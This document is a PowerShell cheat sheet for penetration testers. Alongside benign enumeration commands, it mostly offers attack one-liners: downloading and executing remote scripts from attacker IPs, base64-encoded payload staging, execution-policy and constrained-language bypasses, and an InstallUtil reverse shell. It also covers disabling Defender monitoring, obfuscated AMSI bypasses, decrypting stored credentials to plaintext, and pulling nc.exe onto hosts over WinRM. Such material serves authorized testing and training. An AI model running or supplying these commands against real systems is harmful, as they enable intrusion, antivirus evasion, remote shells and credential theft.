# Basic PowerShell for Pentesters

## Default PowerShell locations

```text
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
```

## Basic PS commands to start

```bash
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>
```

## Download & Execute

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
```

### Using b64 from linux

```bash
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
```

## Download

### System.Net.WebClient

```text
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
```

### Invoke-WebRequest

```text
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
```

### Wget

```text
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
```

### BitsTransfer

```text
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```

## Base64 Kali & EncodedCommand

```bash
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>
```

## Execution Policy

By default it is set to **restricted.** Main ways to bypass this policy:

```text
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
```

More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)

## Constrained language

```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```

### Bypass

```bash
#Easy bypass
Powershell -version 2
```

In current Windows that Bypass won't work but you can use[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM). **To compile it you may need** **to** _**Add a Reference**_ -&gt; _Browse_ -&gt;_Browse_ -&gt; add _C:\Windows\Microsoft.NET\assembly\GAC\_MSIL\System.Management.Automation\v4.0\_3.0.0.0\_\_31bf3856ad364e35\System.Management.Automation.dll\_ and **change the project to .Net4.5**.

#### Direct bypass:

```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
```

#### Reverse shell:

```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```

## AppLockerPolicy

Check which files/extensions are blacklisted/whitelisted.

```text
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```

## Enable WinRM \(Remote PS\)

```bash
enable-psremoting -force #This enables winrm

## Change NetWorkConnection Category to Private
#Requires -RunasAdministrator

Get-NetConnectionProfile |
  Where{ $_.NetWorkCategory -ne 'Private'} |
  ForEach {
    $_
    $_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
  }
```

## Antivirus

```bash
#Check status
Get-MpComputerStatus
#Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#Set exclusion path
Add-MpPreference -ExclusionPath "C:\users\public\documents\magichk"
#Disable AMSI
"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)"
```

## PS-History

```bash
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
```

## OS version and HotFixes

```bash
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
```

## Environment

```bash
Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value
```

## Other connected drives

```bash
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
```

### Recycle Bin

```bash
$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
```

[https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/)

## Domain Recon

{% page-ref page="powerview.md" %}

## Users

```bash
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
```

## Secure String to Plaintext

```bash
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB
```

Or directly parsing form XML:

```bash
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB
```

## SUDO

```bash
#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)

#For local:
Start-Process -Credential ($cred)  -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"

#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred

Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'

#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
```

## Groups

```bash
Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
```

## Clipboard

```text
Get-Clipboard
```

## Processes

```text
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
```

## Services

```text
Get-Service
```

## Password from secure string

```bash
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password
```

## Scheduled Tasks

```bash
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
```

## Network

### Interfaces

```text
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
```

### Route

```text
route print
```

### ARP

```text
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
```

### Hosts

```text
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
```

### Ping

```bash
$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
```

### SNMP

```text
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
```

## AMSI bypass

```bash
(old) 
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

(new)
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)


# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass

# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html
```

